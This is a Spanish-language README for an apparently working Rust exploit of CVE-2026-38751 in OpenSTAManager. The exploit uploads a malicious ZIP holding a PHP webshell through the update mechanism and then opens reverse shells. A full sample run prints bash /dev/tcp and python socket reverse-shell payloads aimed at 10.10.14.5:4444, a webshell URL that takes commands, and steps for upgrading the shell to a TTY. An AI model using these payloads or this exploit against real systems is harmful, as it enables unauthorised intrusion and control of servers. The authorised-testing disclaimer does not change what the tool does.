Exploit RCE de OpenSTAManager (CVE-2026-38751)

Carga arbitraria de archivos que conduce a Ejecución Remota de Código
Prueba de concepto completa para CVE-2026-38751, escrita en Rust.

Advertencia: Esta herramienta está destinada únicamente para pruebas de seguridad autorizadas y fines educativos. Úsela solo en sistemas que posea o para los que tenga permiso explícito para probar.

Descripción

OpenSTAManager ≤ 2.10 es vulnerable a una carga arbitraria de archivos autenticada que permite a un atacante subir un archivo ZIP malicioso que contiene un webshell PHP. Este PoC automatiza el proceso:

Inicio de sesión con credenciales válidas
Carga de un módulo malicioso con un webshell
Verificación de la vulnerabilidad
Shell web interactiva (ejecución de comandos)
Reverse shell con manejo de TTY (múltiples payloads)
Limpieza del backdoor subido

Características

$ ./openstamanager-rce-exploit --url http://target.com/ -U <user> -P <password> --lhost 10.10.14.5 --lport 4444 [ OpenSTAManager RCE Exploit : ] Target: http://target.com/ [*] Step 1: Login... [+] Login successful: admin [*] Step 2: Enable updates... [+] Updates enabled [*] Step 3: Create ZIP... [*] Created in-memory ZIP file [*] Shell location: /modules/shell/shell.php [*] Step 4: Upload... [*] Upload status: 500 Internal Server Error [+] Upload successful [*] Step 5: Verify... [+] Vulnerability confirmed! [+] Shell: http://target.com/modules/shell/shell.php [+] Test: http://target.com/modules/shell/shell.php?c=whoami [*] Listening on 10.10.14.5:4444... [*] Trying payload: bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' [-] Payload failed: operation timed out [*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' [-] Payload failed: operation timed out [*] Trying payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' [+] Payload sent successfully. Waiting for connection... [+] Connection received from 10.129.19.238:55758 [*] Sent 'script /dev/null -c bash' [*] [*] Reverse shell established. [*] To get a fully interactive TTY: [*] 1. Press Ctrl+Z to suspend the shell. [*] 2. Run: stty raw -echo; fg [*] 3. When prompted for terminal type, type: xterm [*] 4. Export: export TERM=xterm SHELL=bash [*] 5. Adjust rows/columns with: stty rows <rows> columns <cols> [*] (Get the size with: stty size) [*] [*] Press Ctrl+C to exit and cleanup the webshell. bash: cannot set terminal process group (1481): Inappropriate ioctl for device bash: no job control in this shell www-data@target:~/html/openstamanager/modules/shell$ script /dev/null -c bash Script started, output log file is '/dev/null'. www-data@target:~/html/openstamanager/modules/shell$ whoami whoami www-data www-data@target:~/html/openstamanager/modules/shell$

Inicio de sesión	Autentica usando las credenciales proporcionadas.
Generación de ZIP	Crea un archivo ZIP con un descriptor `MODULE` válido y un shell PHP.
Carga de archivo	Envía el ZIP malicioso a través del mecanismo de actualización.
Verificación	Comprueba si el shell es accesible y ejecuta un comando de prueba (`id`).
Shell web interactivo	Permite ejecutar comandos interactivamente a través del webshell (`-i`).
Reverse shell	Envía múltiples payloads (bash, python, base64, nc, mkfifo) para obtener un shell.
Instrucciones de mejora de TTY	Muestra una guía paso a paso para obtener un TTY completamente interactivo.
Limpieza	Elimina el `shell.php` subido automáticamente (a menos que se use `--no-cleanup`).

OpenSTAManager-RCE-Exploit-CVE-2026-38751

Más Populares

🛠️ Requisitos

Instalación

Ejemplo: